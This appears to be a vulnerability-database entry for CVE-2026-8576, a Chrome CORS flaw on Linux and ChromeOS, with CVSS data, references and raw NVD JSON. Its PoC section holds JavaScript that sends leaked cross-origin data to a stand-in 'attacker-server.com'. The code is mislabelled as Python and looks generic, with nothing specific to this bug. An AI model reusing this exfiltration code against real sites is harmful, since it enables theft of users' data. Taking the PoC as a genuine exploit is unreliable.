CVE-2026-8576

Description

Inappropriate implementation in CORS in Google Chrome on Linux and ChromeOS prior to 148.0.7778.168 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome on Linux < 148.0.7778.168

Google Chrome on ChromeOS < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2026-8576 PoC Example -->
<!-- This PoC demonstrates how a crafted HTML page might attempt to leak cross-origin data -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-8576 PoC</title>
</head>
<body>
    <h2>CORS Vulnerability Test</h2>
    <script>
        // Target a sensitive endpoint on a different origin
        const targetUrl = 'https://target-api.example.com/sensitive-data';
        
        // Attempt to fetch data using fetch API
        fetch(targetUrl, {
            method: 'GET',
            credentials: 'include', // Include cookies if applicable
            headers: {
                'Content-Type': 'application/json'
            }
        })
        .then(response => {
            // Check if response is readable despite CORS restrictions in vulnerable versions
            if (response.ok) {
                return response.text();
            } else {
                throw new Error('Request failed');
            }
        })
        .then(data => {
            // If successful, exfiltrate the data
            console.log('[+] Leaked Data:', data);
            // Send data to attacker's server
            fetch('https://attacker-server.com/log?q=' + encodeURIComponent(data));
        })
        .catch(error => {
            console.error('[-] Exploit failed or patched:', error);
        });
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8576
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8576
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8576/
[4] VulDB https://vuldb.com/cve/CVE-2026-8576
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/496231853

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8576", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:19.967", "lastModified": "2026-05-15T15:16:55.880", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in CORS in Google Chrome on Linux and ChromeOS prior to 148.0.7778.168 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-942"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/496231853", "source": "[email protected]"}]}}